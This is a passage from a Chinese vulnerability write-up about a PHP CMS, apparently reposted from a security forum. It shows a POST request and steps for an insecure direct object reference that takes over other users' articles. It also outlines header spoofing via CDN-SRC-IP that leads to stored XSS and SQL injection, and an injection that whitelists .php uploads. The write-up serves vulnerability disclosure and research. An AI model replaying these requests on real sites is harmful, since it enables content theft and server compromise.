Referer: http://www.**.net/user/release/id/29/molds/article.html
Cookie: PHPSESSID=lcfjs54o8288d6q68julppqu60

ajax=1&id=29&isshow=0&molds=article&tid=2&title=1&keywords=1&litpic=&description=1&body=%3Cp%3E1%3Cbr%2F%3E%3C%2Fp%3E

修改上面的post参数中的id数值,把id改成任意数字,如果文章存在,就会从那个用户中消失,然后变成了你的文章,比如我们把id改成13

原本这篇文章是正常的,且我的投稿中并没有这篇文章

然后发包

后台刷新即可看到这篇文章的状态

然后我们本地就多了一篇文章

  1. 这个cms比较有意思的一点就是获取ip的函数GetIP(),这里可以用http头CDN-SRC-IP绕过导致可以触发存储型xss和sql注入
  2. 其实这里sql注入可以往数据库插入文件的白名单后缀,比如php,这样就可以直接上传php文件(不知道为什么开发者要把文件后缀写到数据库中)
  3. 这里的xss漏洞是比较泛滥的,而且函数中是有针对xss过滤的函数,不知道为什么开发者没有使用
  4. 这里的逻辑漏洞也是很泛滥的,主要挖掘的思路就是去测试功能点,然后去看功能点的代码,这样基本上就不会有遗漏的漏洞

文章来源: http://xz.aliyun.com/t/7872
如有侵权请联系:admin#unsafe.sh